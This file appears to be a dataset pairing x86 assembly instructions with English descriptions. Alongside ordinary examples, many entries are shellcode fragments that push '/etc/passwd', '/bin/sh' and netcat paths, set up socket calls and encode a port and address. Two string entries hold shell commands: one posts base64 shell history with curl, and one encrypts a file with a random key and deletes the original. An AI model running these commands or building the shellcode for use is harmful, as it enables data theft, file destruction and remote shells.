+mov eax, 90	move decimal number 90 into eax
+mov eax, 90	system call mmap
+mov eax, addr	move addr into eax
+mov eax, array[esi*4]	move the contents of memory address array+esi*4 into eax
+mov eax, b	move b to eax
+mov eax, buff	move buff to eax
+mov eax, buffer	move the memory address of buffer variable into eax
+mov eax, buzz	move the address of buzz string into eax
+mov eax, c	move c to eax
+mov eax, childmsg	move childmsg into eax
+mov eax, ebx	copy the contents of ebx into eax register
+mov eax, ebx	copy what is in ebx into eax
+mov eax, ebx	move ebx to eax
+mov eax, ebx	move the address in ebx into eax
+mov eax, ebx	transfer ebx to eax
+mov eax, ecx	move the value in ecx into eax
+mov eax, ecx	move the value of ecx into eax
+mov eax, edi	move edi into eax
+mov eax, edx	move edx into eax
+mov eax, edx	move the remainder into eax
+mov eax, esi	move esi into eax
+mov eax, esp	move stack pointer to eax
+mov eax, esp	move the address of the current stack pointer into eax
+mov eax, filecontents	move the memory address of filecontents variable into eax
+mov eax, fizz	move the address of fizz string into eax
+mov eax, key	move key into eax
+mov eax, m_src	move m_src to eax
+mov eax, msg	move the address of msg string into eax
+mov eax, msg1	move msg1 string into eax
+mov eax, msg1	move the address of msg1 into eax
+mov eax, msg2	move the address of msg2 into eax
+mov eax, msg3	move the address of msg3 into eax
+mov eax, mxcsr	move mxcsr to eax
+mov eax, n_src	move n_src to eax
+mov eax, parentmsg	move parentmsg into eax
+mov eax, response	move address of response variable into eax
+mov eax, type var4	move the number of bytes of var4 into eax
+mov ebp, buff	place address of buffer into ebp
+mov ebp, eax	move eax to ebp
+mov ebp, ecx	move ecx into ebp
+mov ebp, esp	move esp into ebp
+mov ebp, esp	point ebp to the esp register
+mov ebp, esp	point ebp to top of stack
+mov ebp, esp	set the new base pointer
+mov ebx, [ebp-4]	move the contents at the memory location specified by the result of the operation [ebp-4] into the ebx register
+mov ebx, [ebp-4]	move the contents of the address [ebp-4] into the ebx register
+mov ebx, [ebp-8]	move the contents at the memory location specified by the result of the operation [ebp-8] into the ebx register
+mov ebx, [ebp-8]	move the contents of the address [ebp-8] into the ebx register
+mov ebx, [ebx+esi]	move the contents of memory address ebx+esi into ebx
+mov ebx, [esp]	move value at top of the stack to ebx
+mov ebx, [my_table]	move effective address of my_table in ebx
+mov ebx, [my_table]	save the effective address of my_table in ebx
+mov ebx, [temp2]	move the contents at memory address temp2 to ebx
+mov ebx, [x]	move the contents at memory address x to ebx
+mov ebx, [y]	move the contents at memory address y to ebx
+mov ebx, 0	exit with return code of 0
+mov ebx, 0	return 0 status on exit
+mov ebx, 0	return a code of zero
+mov ebx, 0	specify file descriptor 0 as standard input
+mov ebx, 0	use stdin
+mov ebx, 0	write to the stdin file
+mov ebx, 0x1	move 0x1 into ebx
+mov ebx, 0x2	move 0x2 into ebx
+mov ebx, 0x4	move 0x4 into ebx
+mov ebx, 0x40000	move the 32-bit value 0x40000 into register ebx
+mov ebx, 0x5	move 0x5 into ebx
+mov ebx, 0xfee1dead	move the value 0xfee1dead into the ebx register
+mov ebx, 1	file descriptor 1 standard output
+mov ebx, 1	invoke subroutine socket
+mov ebx, 1	move 1 into ebx
+mov ebx, 1	specify file descriptor 1 standard output
+mov ebx, 1	use stdout
+mov ebx, 1	write to the stdout file
+mov ebx, 10	move decimal value 10 into ebx
+mov ebx, 2	invoke subroutine bind
+mov ebx, 2	specify file descriptor 2 standard error
+mov ebx, 3	invoke subroutine connect
+mov ebx, 3	move 3 to the ebx register
+mov ebx, 3	move decimal number 3 into ebx
+mov ebx, 4	invoke subroutine listen
+mov ebx, 5	invoke subroutine accept
+mov ebx, 5	move 5 into ebx
+mov ebx, 9	move number 9 into ebx
+mov ebx, buff	move buff to ebx
+mov ebx, command	move command into ebx
+mov ebx, dword 0x5090508f	move dword 0x5090508f into ebx
+mov ebx, dword 0x50905091	move dword 0x50905091 into ebx
+mov ebx, eax	move eax into ebx
+mov ebx, eax	move the address in eax into ebx
+mov ebx, eax	move the contents of the eax register into the ebx register
+mov ebx, ecx	move ecx into ebx
+mov ebx, edi	move edi into ebx
+mov ebx, edx	move edx into ebx
+mov ebx, esi	move esi into ebx
+mov ebx, esp	move address of stack pointer into ebx
+mov ebx, esp	move esp into ebx
+mov ebx, esp	move the address of the character on the stack into ebx
+mov ebx, esp	move the contents of the esp register into the ebx register
+mov ebx, esp	point ebx to stack
+mov ebx, esp	push /bin/sh into ebx
+mov ebx, filename	move filename into ebx
+mov ebx, m_src1	move m_src1 to ebx
+mov ebx, m_src2	move m_src2 to ebx
+mov ebx, msg	move the address of msg string into ebx
+mov ebx, n	move n to ebx
+mov ebx, name	move name into ebx
+mov ebx, request	move address of request variable into ebx
+mov ebx, sock_reg	move sock_reg into ebx
+mov ebx, type var3	move the number of bytes of var3 into ebx
+mov ebx, upcase	move the value of upcase into ebx
+mov ebx, x	move the contents of x into ebx
+mov ebx, zero_reg	move zero_reg into ebx
+mov ecx, [ebp+12]	move the contents at the memory location specified by the result of the operation [ebp+12] into the ecx register
+mov ecx, [ebp+12]	move the contents of the address [ebp+12] into ecx
+mov ecx, [esi+4*eax]	move the 4 bytes of data at address esi+4*eax into ecx
+mov ecx, [esp]	move the contents of esp into ecx
+mov ecx, [esp]	move the contents of the esp register into the ecx register
+mov ecx, [my_table]	move effective address of my_table in ecx
+mov ecx, [temp3]	move the contents at memory address temp3 to ecx
+mov ecx, [x]	move the contents at memory address x to ecx
+mov ecx, 0777	move permissions to read write and execute into ecx
+mov ecx, 0x0	move 0x0 into ecx
+mov ecx, 0x1	move 0x1 into ecx
+mov ecx, 0x88998899	move 0x88998899 into ecx
+mov ecx, 1	move 1 into ecx
+mov ecx, 36	get 36 in the ecx
+mov ecx, 4294948047	move 4294948047 into ecx
+mov ecx, 672274793	move the value 672274793 into the ecx register
+mov ecx, arguments	move the address of the arguments into ecx
+mov ecx, array	move the first element of array into ecx
+mov ecx, array2	move the first element in array2 into ecx
+mov ecx, b	move b to ecx
+mov ecx, buff	move buff to ecx
+mov ecx, buffer	move the memory address of buffer variable into ecx
+mov ecx, contents	move the memory address of contents string into ecx
+mov ecx, contents	move the memory address of contents variable into ecx
+mov ecx, donemsg	move donemsg into ecx
+mov ecx, eatmsg	move eatmsg into ecx
+mov ecx, eax	move eax into ecx
+mov ecx, ebp	move ebp into ecx
+mov ecx, edi	move edi into ecx
+mov ecx, edx	move edx into ecx
+mov ecx, edx	move the contents of the edx register into the ecx register
+mov ecx, esi	move esi into ecx
+mov ecx, esp	ecx point to the top of the stack
+mov ecx, esp	move address of arguments into ecx
+mov ecx, esp	move address of stack pointer into ecx
+mov ecx, esp	move esp into ecx
+mov ecx, esp	move the address of the stack pointer into ecx
+mov ecx, esp	move the contents of esp into ecx
+mov ecx, esp	move the contents of the esp register into the ecx register
+mov ecx, esp	point ecx to the top of the stack
+mov ecx, esp	save the memory location of arg[0] into the ecx register
+mov ecx, filecontents	move the memory address of our file contents variable into ecx
+mov ecx, hello	put the offset of hello in ecx
+mov ecx, hexstr	move hexstr into ecx
+mov ecx, m_src3	move m_src3 to ecx
+mov ecx, msg	move msg to ecx
+mov ecx, msg	move the address of message string into ecx
+mov ecx, msg	move the memory address of message string into ecx
+mov ecx, offset array	move starting address of array to ecx
+mov ecx, readbuffer	move readbuffer into ecx
+mov ecx, request	move address of request variable into ecx
+mov ecx, response	move address of response variable into ecx
+mov ecx, rm	move rm to ecx
+mov ecx, rn	move rn to ecx
+mov ecx, type var2	move the number of bytes of var2 into ecx
+mov ecx, y	move the contents of y into ecx
+mov edi, [ebp+16]	move value the contents of memory address ebp+16 into edi
+mov edi, 0x343997b7	move 0x343997b7 into edi
+mov edi, 0x3734b117	move 0x3734b117 into edi
+mov edi, 0x978cd092	move 0x978cd092 into edi
+mov edi, 0x978cd0d0	move 0x978cd0d0 into edi
+mov edi, 0xada67373	move 0xada67373 into edi
+mov edi, 876189623	move 876189623 into edi
+mov edi, 884021143	move 884021143 into edi
+mov edi, eax	move eax into edi
+mov edi, eax	move the return value of sys_socketcall into edi
+mov edi, ecx	move ecx into edi
+mov edi, ecx	move ecx to edi
+mov edi, edx	move edx into edi
+mov edi, edx	move the remainder into edi
+mov edi, esi	move esi into edi
+mov edi, esp	move esp into edi
+mov edi, hexstr	place hexstr into edi
+mov edx, [esi+4*ebx]	move the 4 bytes of data at address esi+4*ebx into edx
+mov edx, [esp]	move the contents of the esp register into the edx register
+mov edx, [temp4]	move the contents at memory address temp4 to edx
+mov edx, [z]	move the contents at memory address z to edx
+mov edx, 0x1234567	move the value 0x1234567 into the edx register
+mov edx, 1	move 1 into edx
+mov edx, 11	move integer 11 to edx
+mov edx, 12	move 12 to edx
+mov edx, 13	move 13 into edx
+mov edx, 2	move decimal 2 into edx
+mov edx, 255	move decimal number 255 into edx
+mov edx, 3	move 3 decimal into edx
+mov edx, 43	move 43 decimal into edx
+mov edx, 43	move decimal 43 into edx
+mov edx, 66729180	move 66729180 into edx
+mov edx, 78	move decimal 78 into edx
+mov edx, 78	store 78 decimal into edx
+mov edx, 8	move 8 decimal into edx
+mov edx, 8	put 8 into edx
+mov edx, 9	move number 9 into edx
+mov edx, buff	move buff to edx
+mov edx, bufflen	move bufflen into edx
+mov edx, donelen	move donelen into edx
+mov edx, dword 0x65676760	move dword 0x65676760 into edx
+mov edx, dword 0x65676760	move the doubleword 0x65676760 into edx
+mov edx, eatlen	move eatlen into edx
+mov edx, eax	move eax into edx
+mov edx, ebp	move ebp into edx
+mov edx, ecx	move ecx into edx
+mov edx, ecx	move ecx to edx
+mov edx, environment	move the address of environment variable into edx
+mov edx, esi	move esi into edx
+mov edx, esp	move address of stack pointer into edx
+mov edx, esp	move esp into edx
+mov edx, esp	move the contents of the esp register into the edx register
+mov edx, esp	move the stack pointer into edx
+mov edx, filename	move filename into edx
+mov edx, hellolen	move hellolen into edx
+mov edx, hexlen	move hexlen into edx
+mov edx, len	move variable len to edx
+mov edx, m_src4	move m_src4 to edx
+mov edx, n	move n to edx
+mov edx, readbuffer	move readbuffer into edx
+mov edx, readlen	move readlen into edx
+mov edx, response	move address of response variable into edx
+mov edx, src	move the contents of src variable into edx
+mov edx, tmp	move the contents of tmp variable into edx
+mov edx, type var1	move the number of bytes of var1 into edx
+mov esi, [ebp+12]	move the contents of memory address ebp+12 into esi
+mov esi, 0x222933f0	move 0x222933f0 into esi
+mov esi, 0x243525f0	move 0x243525f0 into esi
+mov esi, 0x34399797	move 0x34399797 into esi
+mov esi, 0x353ffc3b	move 0x353ffc3b into esi
+mov esi, 0x563a1f3e	move 0x563a1f3e into esi
+mov esi, 0x65636170	move 0x65636170 into esi
+mov esi, 0x68732f2f	move 0x68732f2f into esi
+mov esi, 0x72702f2f	move 0x72702f2f into esi
+mov esi, 0x735f6176	move 0x735f6176 into esi
+mov esi, 0x91969dd0	move 0x91969dd0 into esi
+mov esi, 0xd2c45e5e	move 0xd2c45e5e into esi
+mov esi, 10	move 10 into esi
+mov esi, 9	move 9 into esi
+mov esi, buff	place address buff into esi
+mov esi, eax	move eax into esi
+mov esi, eax	move pointer in eax into esi
+mov esi, ecx	move ecx into esi
+mov esi, edx	move remainder into esi
+mov esi, esp	move esp into esi
+mov esi, v	move v to esi
+mov esi, v_src	move v_src to esi
+mov esi, var	copy the address of var into esi
+mov esp, ebp	move the contents of the ebp register ino the esp register
+mov esp, ebp	move the contents of the ebp register into the esp register
+mov long [esi+18], esi	move the contents of the esi register into the long starting at the address [esi+18]
+mov long [esi+22], ebx	move the contents of the ebx register into the long starting at the address [esi+22]
+mov long [esi+22], esi	move the contents of the esi register into the long starting at the address [esi+22]
+mov long [esi+26], eax	move the contents of the eax register into the long starting at the address [esi+26]
+mov long [esi+26], ebx	move the contents of the ebx register into the long starting at the address [esi+26]
+mov long [esi+30], eax	move the contents of the eax register into the long starting at the address [esi+30]
+mov sock_reg, eax	move eax into sock_reg
+mov total, 48	transfer the value 48 in the memory variable total
+mov word [ebx], 2	move the 16-bit integer representation of 2 into the 2 bytes starting at the address in ebx
+mov word [ecx], 2	move the 16-bit integer representation of 2 into the 2 bytes starting at address ecx
+mov word [esp+0x1], 0x776f	move 0x776f into the word in [esp+0x1]
+mov x, eax	move eax to x variable
+msg db 'hello, world!', 0xa	declare msg string containing 'hello world!'
+msg db 'i love you!', 0ah	define msg variable and initialize with 'i love you!'
+msg db 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post', 0x0a	define msg as the byte string 'curl http://localhost:8080 -d 'data='$(cat .bash_history | base64 -w 0) -x post'
+msg db 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt', 0x0a	define msg as the byte string 'mv test.txt .test.txt && head -c 32 /dev/urandom | base64 | openssl aes-256-cbc -e -in .test.txt -out test.txt -pbkdf2 -k - && rm .test.txt'
+msg db 'we found the egg!', 0ah, 0dh	define msg as the byte string 'we found the egg!'
+msg_len equ $-msg	define msg_len equal to the length of msg
+msg1 db 'hello, brave new world!', 0ah	declare message string msg1 containing 'hello brave new world!'
+msg2 db 'this is how we recycle in nasm.', 0ah	declare message string msg2 containing 'this is how we recycle in nasm'
+msg2 db 'passwd', 0x00	define msg2 as the byte string 'passwd'
+msglength: equ 12	declare msglength to have the constant value 12
+mul [tmp]	multiply the contents of eax by the 32-bit contents of the memory location tmp
+mul [value]	multiply the contents of eax by the 32-bit contents of the memory location value
+mul [var]	multiply the contents of eax by the 32-bit contents of the memory location var
+mul 0x10	multiply eax by 0x10 and stores the result in edx:eax
+mul 25	multiply the contents of eax by 25
+mul 3	multiply the contents of eax by 3
+mul ebx	mul eax by ebx
+mul ebx	multiply eax by ebx
+mul ebx	multiply eax by the contents of the ebx register
+mul ebx	multiply the contents of eax by ebx
+mul ebx	multiply the contents of the eax register by the contents of the ebx register
+mul ecx	mul eax by ecx
+mul ecx	multiply eax by ecx
+mul ecx	multiply eax by the contents of the ecx register
+mul ecx	mutliply eax by ecx
+mul edx	mul eax by edx
+mul edx	multiply eax by edx
+mul edx	multiply eax by the contents of the edx register
+my_table times 10 dw 0	allocate 10 words each initialized to 0
+my_table times 10 dw 0	allocate my_table vector of 10 words each initialized to 0
+my_var dw 0abcdh	define my_var word variable and initialize it to 0abcdh
+myList word 1,2,3,4,5	define myList array of word and initialize it to 1, 2, 3, 4, and 5
+name db '/bin/sh', 0	define name as the byte string '/bin/sh'
+name db 30 dup	allocate memory for 30 bytes uninitialized name variable
+neg eax	negate eax
+neg eax	negate the contents of eax
+neg eax	replaces the contents of the eax register with its two's complement
+neg ebx	replaces the contents of the ebx register with its two's complement
+neg ecx	replaces the contents of the ecx register with its two's complement
+neg edi	negate edi
+neg edi	replaces the contents of the edi register with its two's complement
+neg edx	replaces the contents of the edx register with its two's complement
+neg var	negate the contents of var
+neg_number dw -12345	define the variable neg_number of words and initialize it to -12345
+negative:	define negative label
+next_addr:	declare next_addr function
+next_addr:	declare the next_addr label
+next_cycle:	declare the next_cycle label
+next_cycle:	define next_cycle label
+next_page:	declare next_page function
+next:	declare the next label
+nop	do no operation
+nop	do nothing
+nop	no operation
+not ax	negate all the bits of ax register
+not ax	negate all the bits of the ax register
+not byte [esi]	perform a bit-wise inversion of the byte starting at the address in esi
+not byte [tmp]	negate all bits in the byte at the memory location tmp
+not byte [var]	negate all bits in the byte at the memory location var
+not byte [var2]	negate all bits in the byte at the memory location var2
+not dl	negate all the bits of dl register
+not eax	negate all the bits of the eax register
+not ecx	negate all the bits of ecx register
+not ecx	negate all the bits of the ecx register
+not edi	negate all the bits of the edi register
+not edx	perform a bit-wise inversion of edx
+not esi	negate all the bits of the esi register
+not word ax	negate all the bits of the word at the address ax
+number dw 12345	define number variable of a word and initialize to 12345
+number: resb 1	reserve 1 byte for number variable
+numbers dw 34, 45, 56, 67, 75, 89	declare an array of six words each initialized with the numbers 34 45 56 67 75 89
+odd_number:	declare odd_numer function
+one:	declare one label
+one:	declare the one label
+or al, bl	perform or operation between al and bl registers
+or al, syscall_execve	perform or operation between the al register and syscall_execve
+or cx, 0xfff	perform logical or between the cx register and 0xfff
+or dx, 0xfff	perform or operation between dx and 0xfff and save the result into dx
+or eax, 0xffffffff	perform the or operation between the eax register and 0xffffffff
+output:	declare the output label
+path db '//bin/sh'	define path as the byte string '//bin/sh'
+path db '//bin/sh'	define the byte string path and initialize it to '//bin/sh'
+path:	declare the path label
+pop [eax]	pop the top element of the stack into memory at the four bytes starting at location eax
+pop [ebx]	pop the top element of the stack into memory at the four bytes starting at location ebx
+pop ax	pop the last element pushed onto the stack into ax
+pop bx	pop the last element pushed onto the stack into bx
+pop cx	pop the last element pushed onto the stack into cx
+pop cx	pop the value on the stack back into cx
+pop cx	restore the top of the stack into the cx register
+pop dx	pop the value on the stack back into dx
+pop dx	restore the top of the stack into the dx register
+pop eax	pop the next argument off the stack into eax
+pop eax	pop the top of the stack into the eax register
+pop eax	pop the value on the stack back into eax
+pop eax	put syscall value into eax
+pop eax	remove last character from the stack into eax
+pop eax	remove last character from the stack into edx
+pop eax	restore eax from the value we pushed onto the stack at the start
+pop eax	restore the original value of eax
+pop eax	restore the top of the stack into eax register
+pop eax	restore the top of the stack into the eax register
+pop ebp	restore ebp register
+pop ebp	restore the top of the stack into the ebp register
+pop ebx	pop the value on the stack back into ebx
+pop ebx	remove last character from the stack into ebx
+pop ebx	restore ebx from the value we pushed onto the stack at the start
+pop ebx	restore the original value of ebx
+pop ebx	restore the top of the stack into ebx register
+pop ebx	restore the top of the stack into the ebx register
+pop ecx	pop the value on the stack back into ecx
+pop ecx	remove last character from the stack into ecx
+pop ecx	restore ecx from the value we pushed onto the stack at the start
+pop ecx	restore ecx register
+pop ecx	restore the top of the stack into the ecx register
+pop ecx \n loop l1 \n mov eax, 1	restore the top of the stack into the ecx register then decrement the ecx register and jump to the l1 label if the contents of the ecx register is not zero else make the system call exit
+pop ecx \n loop l2 \n mov eax, 1	restore the top of the stack into the ecx register then decrement the ecx register and jump to the l2 label if the contents of the ecx register is not zero else make the system call exit
+pop ecx \n loop l3 \n mov eax, 1	restore the top of the stack into the ecx register then decrement the ecx register and jump to the l3 label if the contents of the ecx register is not zero else make the system call exit
+pop edi	pop the top element of the stack into edi
+pop edi	restore the top of the stack into the edi register
+pop edx	pop the top of the stack into the edx register
+pop edx	pop the value on the stack back into edx
+pop edx	restore edx from the value we pushed onto the stack at the start
+pop edx	restore the top of the stack into edx register
+pop edx	restore the top of the stack into the edx register
+pop esi	pop the top of the stack into the esi register
+pop esi	pop the value on the stack back into esi
+pop esi	restore esi from the stack
+pop esi	restore esi from the value we pushed onto the stack at the start
+pop esi	restore the top of the stack into esi register
+pop esi	restore the top of the stack into the esi register
+pop esp	restore the top of the stack into the esp register
+pop si	restore the top of the stack into the si register
+popad	move doublewords from the stack into the 32 bit registers
+popad	move doublewords from the stack into the general purpose registers
+popad	pop doublewords from the stack into the 32 bit registers
+popad	pop doublewords from the stack into the general purpose registers
+port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77	define port array of 5 bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
+port: db 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77	define port as an array of bytes and initialize it to 0xd4, 0x31, 0xc0, 0xa8, 0x3, 0x77
+prepare:	declare the prepare label
+priv_setgid:	declare the priv_setgid label
+priv_setuid:	declare the priv_setuid label
+process_shellcode:	declare the process_shellcode label
+push _ip	push _ip onto the stack
+push '//pa'	push '//pa' onto the stack
+push '//sh'	push '//sh' onto the stack
+push '/bin'	push '/bin' onto the stack
+push '/etc'	push '/etc' onto the stack
+push 'sswd'	push 'sswd' onto the stack
+push [tmp]	push the 4 bytes at address tmp onto stack
+push [var]	push the 4 bytes at address var onto the stack
+push [var2]	push the 4 bytes at address var2 onto the stack
+push 0bh	push 0bh onto the stack
+push 0x0	push 0x0 onto the stack
+push 0x0	push the value 0x0 to the stack
+push 0x04020a0a	push 0x04020a0a onto the stack
+push 0x0a206873	push 0x0a206873 onto the stack
+push 0x0a3a7964	push 0x0a3a7964 onto the stack
+push 0x0a4c4c41	push 0x0a4c4c41 onto the stack
+push 0x0a4c4c41	push the 0x0a4c4c41 onto the stack
+push 0x1	push 0x1 onto the stack
+push 0x1	push 0x1 to the stack
+push 0x1	push the 0x1 onto the stack
+push 0x10	push 0x10 onto the stack
+push 0x10	push 0x10 to the stack
+push 0x10	push the 0x10 onto the stack
+push 0x10	push the value 0x10 onto the stack
+push 0x16	push 0x16 onto the stack
+push 0x1a	push 0x1a onto the stack
+push 0x1a	push 0x1a to the stack
+push 0x1c	push 0x1c onto the stack
+push 0x1c	push 0x1c to the stack
+push 0x2	push 0x2 onto the stack
+push 0x2	push 0x2 to the stack
+push 0x2	push the 0x2 onto the stack
+push 0x203a4457	push 0x203a4457 onto the stack
+push 0x203a4457	push the 0x203a4457 onto the stack
+push 0x204c4c41	push 0x204c4c41 onto the stack
+push 0x204c4c41	push the 0x204c4c41 onto the stack
+push 0x2431243a	push 0x2431243a onto the stack
+push 0x29	push 0x29 onto the stack
+push 0x29	push 0x29 to the stack
+push 0x2e312e31	push 0x2e312e31 onto the stack
+push 0x2e312e31	push 0x2e312e31 to the stack
+push 0x2e323931	push 0x2e323931 onto the stack
+push 0x2e323931	push 0x2e323931 to the stack
+push 0x2e373231	push 0x2e373231 onto the stack
+push 0x2e373231	push 0x2e373231 to the stack
+push 0x2e383631	push 0x2e383631 onto the stack
+push 0x2e383631	push 0x2e383631 to the stack
+push 0x2f2f2f2f	push 0x2f2f2f2f onto the stack
+push 0x2f2f2f2f	push 0x2f2f2f2f to the stack
+push 0x2f2f2f2f	push the 0x2f2f2f2f onto the stack
+push 0x2f2f2f2f \n mov eax, esp	push the value 0x2f2f2f2f onto the stack and point eax to the stack register
+push 0x2f2f2f2f \n mov ebx, esp	push the value 0x2f2f2f2f onto the stack and point ebx to the stack register
+push 0x2f2f2f2f \n mov ecx, esp	push the value 0x2f2f2f2f onto the stack and point ecx to the stack register
+push 0x2f2f2f2f \n mov edi, esp	push the value 0x2f2f2f2f onto the stack and point edi to the stack register
+push 0x2f2f2f2f \n mov edx, esp	push the value 0x2f2f2f2f onto the stack and point edx to the stack register
+push 0x2f2f2f2f \n mov esi, esp	push the value 0x2f2f2f2f onto the stack and point esi to the stack register
+push 0x2f2f2f6e	push the 0x2f2f2f6e onto the stack
+push 0x2f3a706d	push 0x2f3a706d onto the stack
+push 0x2f3a746f	push 0x2f3a746f onto the stack
+push 0x2f656c2d	push 0x2f656c2d onto the stack
+push 0x2f656c2d	push the 0x2f656c2d onto the stack
+push 0x2f6e6962	push 0x2f6e6962 onto the stack
+push 0x2f6e6962	push 0x2f6e6962 to the stack
+push 0x30	push the value 0x30 onto the stack
+push 0x30313a31	push 0x30313a31 onto the stack
+push 0x30313a31	push 0x30313a31 to the stack
+push 0x30317974	push 0x30317974 onto the stack
+push 0x30317974	push the 0x30317974 onto the stack
+push 0x31313131	push 0x31313131 onto the stack
+push 0x3131313a	push 0x3131313a onto the stack
+push 0x31373737	push 0x31373737 onto the stack
+push 0x31373737	push the 0x31373737 onto the stack
+push 0x3170762d	push 0x3170762d onto the stack
+push 0x3170762d	push 0x3170762d to the stack
+push 0x3170762d	push the 0x3170762d onto the stack
+push 0x32322e32	push 0x32322e32 onto the stack
+push 0x32322e32	push 0x32322e32 to the stack
+push 0x3458652e	push 0x3458652e onto the stack
+push 0x37373333	push 0x37373333 onto the stack
+push 0x37373333	push 0x37373333 to the stack
+push 0x37373333	push the 0x37373333 onto the stack
+push 0x3a303a3a	push 0x3a303a3a onto the stack
+push 0x3a30754a	push 0x3a30754a onto the stack
+push 0x3d4c4c41	push 0x3d4c4c41 onto the stack
+push 0x3d4c4c41	push the 0x3d4c4c41 onto the stack
+push 0x3e0a7964	push 0x3e0a7964 onto the stack
+push 0x4	push 0x4 onto the stack
+push 0x4	push the 0x4 onto the stack
+push 0x45683933	push 0x45683933 onto the stack
+push 0x46	push 0x46 onto the stack
+push 0x4c4c4128	push 0x4c4c4128 onto the stack
+push 0x4c4c4128	push the 0x4c4c4128 onto the stack
+push 0x4c5a304b	push 0x4c5a304b onto the stack
+push 0x4f4e2029	push 0x4f4e2029 onto the stack
+push 0x4f4e2029	push the 0x4f4e2029 onto the stack
+push 0x5	push 0x5 onto the stack
+push 0x5	push the 0x5 onto the stack
+push 0x50446862	push 0x50446862 onto the stack
+push 0x53534150	push 0x53534150 onto the stack
+push 0x53534150	push the 0x53534150 onto the stack
+push 0x6	push 0x6 onto the stack
+push 0x6	push the 0x6 value onto the stack
+push 0x61622f2f	push 0x61622f2f onto the stack
+push 0x61622f6e	push 0x61622f6e onto the stack
+push 0x61655220	push 0x61655220 onto the stack
+push 0x6168732f	push 0x6168732f onto the stack
+push 0x6168732f	push 0x6168732f to the stack
+push 0x6168732f	push the 0x6168732f onto the stack
+push 0x6168732f \n push 0x6374652f \n mov ebx, esp	push the value 0x6168732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
+push 0x61702f2f	push 0x61702f2f onto the stack
+push 0x61702f2f \n push 0x6374652f \n mov eax, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the eax register to the stack register
+push 0x61702f2f \n push 0x6374652f \n mov ebx, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ebx register to the stack register
+push 0x61702f2f \n push 0x6374652f \n mov ecx, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the ecx register to the stack register
+push 0x61702f2f \n push 0x6374652f \n mov edi, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edi register to the stack register
+push 0x61702f2f \n push 0x6374652f \n mov edx, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the edx register to the stack register
+push 0x61702f2f \n push 0x6374652f \n mov esi, esp	push the value 0x61702f2f and the value 0x6374652f onto the stack and point the esi register to the stack register
+push 0x61702f63	push 0x61702f63 onto the stack
+push 0x61702f63	push the 0x61702f63 onto the stack
+push 0x622f7273	push 0x622f7273 onto the stack
+push 0x622f7273	push 0x622f7273 to the stack
+push 0x636e2f2f	push 0x636e2f2f onto the stack
+push 0x636e2f2f	push 0x636e2f2f to the stack
+push 0x636e2f2f	push the 0x636e2f2f onto the stack
+push 0x6374652f	push 0x6374652f onto the stack
+push 0x6374652f	push 0x6374652f to the stack
+push 0x6374652f	push the 0x6374652f onto the stack
+push 0x6374652f \n mov eax, esp	push the value 0x6374652f onto the stack and point eax to the stack register
+push 0x6374652f \n mov ebp, esp	push the value 0x6374652f onto the stack and point ebp to the stack register
+push 0x6374652f \n mov ebx, esp	push the value 0x6374652f onto the stack and point ebx to the stack register
+push 0x6374652f \n mov ecx, esp	push the value 0x6374652f onto the stack and point ecx to the stack register
+push 0x6374652f \n mov edi, esp	push the value 0x6374652f onto the stack and point edi to the stack register
+push 0x6374652f \n mov edx, esp	push the value 0x6374652f onto the stack and point edx to the stack register
+push 0x6374652f \n mov esi, esp	push the value 0x6374652f onto the stack and point esi to the stack register
+push 0x64687373	push 0x64687373 onto the stack
+push 0x64687373 \n mov eax, esp	push the value 0x64687373 onto the stack and point the eax register to the stack register
+push 0x64687373 \n mov ebp, esp	push the value 0x64687373 onto the stack and point the ebp register to the stack register
+push 0x64687373 \n mov ebx, esp	push the value 0x64687373 onto the stack and point the ebx register to the stack register
+push 0x64687373 \n mov ecx, esp	push the value 0x64687373 onto the stack and point the ecx register to the stack register
+push 0x64687373 \n mov edi, esp	push the value 0x64687373 onto the stack and point the edi register to the stack register
+push 0x64687373 \n mov edx, esp	push the value 0x64687373 onto the stack and point the edx register to the stack register
+push 0x64687373 \n mov esi, esp	push the value 0x64687373 onto the stack and point the esi register to the stack register
+push 0x6475732f	push 0x6475732f onto the stack
+push 0x6475732f	push 0x6475732f to the stack
+push 0x6475732f	push the 0x6475732f onto the stack
+push 0x6475732f \n push 0x6374652f \n mov eax, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the eax register to the stack register
+push 0x6475732f \n push 0x6374652f \n mov ebx, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the ebx register to the stack register
+push 0x6475732f \n push 0x6374652f \n mov ecx, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the ecx register to the stack register
+push 0x6475732f \n push 0x6374652f \n mov edi, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the edi register to the stack register
+push 0x6475732f \n push 0x6374652f \n mov edx, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the edx register to the stack register
+push 0x6475732f \n push 0x6374652f \n mov esi, esp	push the value 0x6475732f and the value 0x6374652f onto the stack and point the esi register to the stack register
+push 0x64777373	push 0x64777373 onto the stack
+push 0x64777373	push the 0x64777373 onto the stack
+push 0x6567772f	push 0x6567772f onto the stack
+push 0x6567772f	push 0x6567772f to the stack
+push 0x656c6966	push 0x656c6966 onto the stack
+push 0x656c6966	push the 0x656c6966 onto the stack
+push 0x65726f43	push 0x65726f43 onto the stack
+push 0x65782e2f	push 0x65782e2f onto the stack
+push 0x65782e2f	push 0x65782e2f to the stack
+push 0x66	push 0x66 onto the stack
+push 0x66	push 0x66 to the stack
+push 0x66	push the 0x66 onto the stack
+push 0x67513231	push 0x67513231 onto the stack
+push 0x6769666e	push 0x6769666e onto the stack
+push 0x682f2f2f	push 0x682f2f2f onto the stack
+push 0x682f2f2f	push the 0x682f2f2f value onto the stack
+push 0x68732f2f	push //sh to the stack
+push 0x68732f2f	push 0x68732f2f onto the stack
+push 0x68732f2f	push 0x68732f2f to the stack
+push 0x68732f2f	push ascii sh// onto stack
+push 0x68732f2f	push hs//
+push 0x68732f2f	push the 0x68732f2f value onto the stack
